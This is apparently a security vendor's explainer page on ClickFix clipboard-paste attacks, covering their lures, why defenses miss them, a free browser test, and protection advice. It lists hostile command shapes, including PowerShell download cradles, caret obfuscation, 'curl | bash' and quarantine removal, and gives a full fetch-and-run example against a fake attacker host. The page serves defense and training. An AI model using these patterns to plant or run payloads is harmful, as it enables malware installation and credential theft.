← Home/TOOLS/CLICKFIX

ClickFix: the attack where you are the exploit.

No attachment, no download, no software bug. A web page puts a command on your clipboard and talks you into pasting it into Run or Terminal. You run the malware yourself, with your own permissions, using programs your computer already trusts. Here's how it works, why most defenses miss it, and a free test of whether yours catch it.

How it works

Three steps, and you take the last one

Every ClickFix attack has the same skeleton. Only the story around it changes.

The lure

You land on a page from a search ad, a hacked site, a phishing email or a fake meeting invite. It shows something familiar: a CAPTCHA, a “page failed to load” error, a broken-camera notice, a missing font.

The plant

You click “I'm not a robot” or “Fix it”. The page silently writes a command to your clipboard. Nothing downloads and nothing asks permission, because browsers let a page write to the clipboard when you click.

The paste

The page gives you “verification steps”: press Win+R, Ctrl+V, Enter. On a Mac: open Terminal, paste, press Return. The command fetches the real malware, usually an infostealer, and runs it as you.

The command is often made to look harmless when pasted. A long run of spaces pushes the real command out of view, and the only visible part reads ✅ I am not a robot - Verification ID: 4821.

Why it matters

It is one of the most common ways in right now

47%of attacks in Microsoft Defender Experts notifications over the past year used ClickFix to get in, making it the most common initial access method they saw, ahead of phishing at 35%.
Microsoft Digital Defense Report 2025
+517%growth in ClickFix detections from the second half of 2024 to the first half of 2025. ClickFix is now the second most common attack vector after phishing, at nearly 8% of blocked attacks.
ESET Threat Report H1 2025

It spreads because it gets around the defenses most organisations rely on:

Nothing for the email gateway to scan

The email carries a link, not a file. The page behind it can show a harmless version to scanners and the lure only to real visitors.

Nothing for download protection to check

No file ever comes through the browser, so download scanning, Mark-of-the-Web and SmartScreen never see the first stage.

Trusted programs do the work

The command uses PowerShell, mshta, certutil, curl and other tools Windows and macOS ship with and sign themselves (“living off the land”).

It looks like the user's own choice

To the operating system, a person opened Run and typed a command. No exploit fires and no permission prompt appears.

The many faces

Catching one shape is not catching ClickFix

Attack kits keep changing the command so that a filter written for last month's version misses this month's. The test below plants 48 variants across these families. A rule written for one row rarely catches the next.

FamilyWhat it looks likeWhy it slips through
PowerShell cradlepowershell -w hidden -c "iex(iwr …)"The classic. Most filters key on the word powershell.
No launcherirm https://… | iex pasted into Terminal (Win+X)No powershell word anywhere. The lure tells you to open the Terminal yourself.
Hidden or encoded-EncodedCommand, base64, hex, [char] codes, string splittingThe command never appears in readable form.
Obfuscated cmdp^o^w^e^r^s^h^e^l^l, set a=msh&& set b=ta&& %a%%b%cmd.exe removes the carets and expands the variables. A filter that doesn't do the same sees nothing.
Living off the landmshta, certutil, bitsadmin, regsvr32, rundll32, msiexec, forfiles, wmic, cscript, schtasks, esentutl, finger and more29 different built-in Windows programs that can fetch and run code. Each one needs its own rule.
Protocol handlerssearch-ms:, ms-appinstaller:, WebDAV \\host@SSL\…Opens a remote folder or installer through Explorer. Nothing looks like a script.
FileFixA file path pasted into the File Explorer address barNot even Run or Terminal. The “path” is really a command followed by padding.
DNS stagingnslookup / dig of a TXT record, output piped to a shellThe next stage arrives as DNS, which web filters don't look at.
macOS and Linuxcurl | bash, base64 to osascript, xattr -d com.apple.quarantine, Python one-linersMac users are told to open Terminal. Gatekeeper never sees a downloaded app.

The lures vary as much as the commands. The test's lure picker shows each of these, marked as a Nithic simulation:

  • Fake CAPTCHA
  • CAPTCHA with a hidden command tail
  • DNS-staged CAPTCHA
  • Failed verification
  • Software download gate
  • Fake system update
  • Camera / microphone fix for a meeting or interview
  • Browser crash recovery
  • Missing font
  • Developer install instructions
  • IT help-desk instructions
  • Fake antivirus alert
  • Shared folder via search-ms
  • Email account check
  • Shared file (FileFix)
The hard part

Some of the scariest-looking commands are legitimate

Developer tools tell you to do exactly what ClickFix does. To install Claude Code, Homebrew, Rust or uv, the official docs give you a one-liner that downloads a script and pipes it into your shell. A filter that blocks every curl | bash or irm | iex breaks every developer's day, and they turn it off.

Real install command

irm https://claude.ai/install.ps1 | iex

Copied from the vendor's own docs. The script comes from the vendor's own server.

ClickFix in the same shape

irm https://claude-ai-setup.example/install.ps1 | iex

The same command, but the script comes from the attacker's server, usually on a fake “install guide” page bought as a search ad.

How Nithic tells them apart: by who serves the script. An attacker can copy a vendor's command word for word, but they can't make it fetch from a server they don't control. Nithic lets a command through only when three things hold:

  • the host matches a known vendor installer exactly, including the path wherever a host also serves other people's files, such as GitHub raw content;
  • the clipboard holds that one command in a known install shape, and nothing else;
  • nothing is chained on after it with ;, && or a second line.

Even then it shows a notice rather than staying silent. A real installer still runs someone's code, and it belongs in a terminal you opened yourself, never in a Run box or a “verification” step. The test below plays both halves: 48 attacks that should be blocked, and seven real install commands that should get through.

Protection

What actually helps

For everyone

  • A real CAPTCHA never asks you to press keys. Any page that wants Win+R, Win+X or Terminal is an attack.
  • Never paste anything from a web page into Run, PowerShell, Terminal or the File Explorer address bar unless you went looking for that exact command.
  • Install software only from the vendor's own site, never from a search ad or a link in a message.
  • If you already pasted one: disconnect from the network, tell IT, and change passwords from a different device. Infostealers take saved passwords and session cookies within seconds.

For IT and security teams

  • Inspect the clipboard where the attack happens, in the browser, before anything is pasted. Nithic does this on every page.
  • Turn on PowerShell script block logging (event 4104) and alert on PowerShell, mshta or cmd started by explorer.exe with a network fetch on the command line.
  • Block or restrict LOLBins your users don't need (mshta, regsvr32, certutil -urlcache) with AppLocker / WDAC or attack surface reduction rules.
  • Hide the Run dialog for users who don't need it (the NoRun policy), and check the RunMRU registry key during investigations, since it records what was typed into Run.
  • Train with the lures below. People spot what they've seen before.

ClickFix Defense Test

runs in your browser

This test plays the attacker. It tries to plant 48 ClickFix commands on your clipboard, using all three ways a page can write there, and reports which ones your browser and security tools stopped. Then it copies seven real vendor install commands and checks that they were not blocked, because a tool that blocks those gets switched off. Use the lure picker to see what these attacks look like in the wild. That's useful for training, too.

Safe by design: every attack command only prints NITHIC CLICKFIX TEST plus a random token. The risky-looking part sits behind a comment (# / rem) and points at a .invalid address that can never resolve. The hidden and obfuscated variants decode to the same echo. The DNS-staged lure looks up one name on our own DNS server, so it can tell you whether a pasted command actually ran. The legitimate commands are the vendors' real installers, so don't run those unless you want the software. The test leaves harmless text on your clipboard when it finishes.

Stop it before the paste

Nithic watches every clipboard write in the browser. It blocks ClickFix commands before they reach your clipboard, lets real install commands through with a notice, and warns you when a page tells you to open Run or Terminal and paste.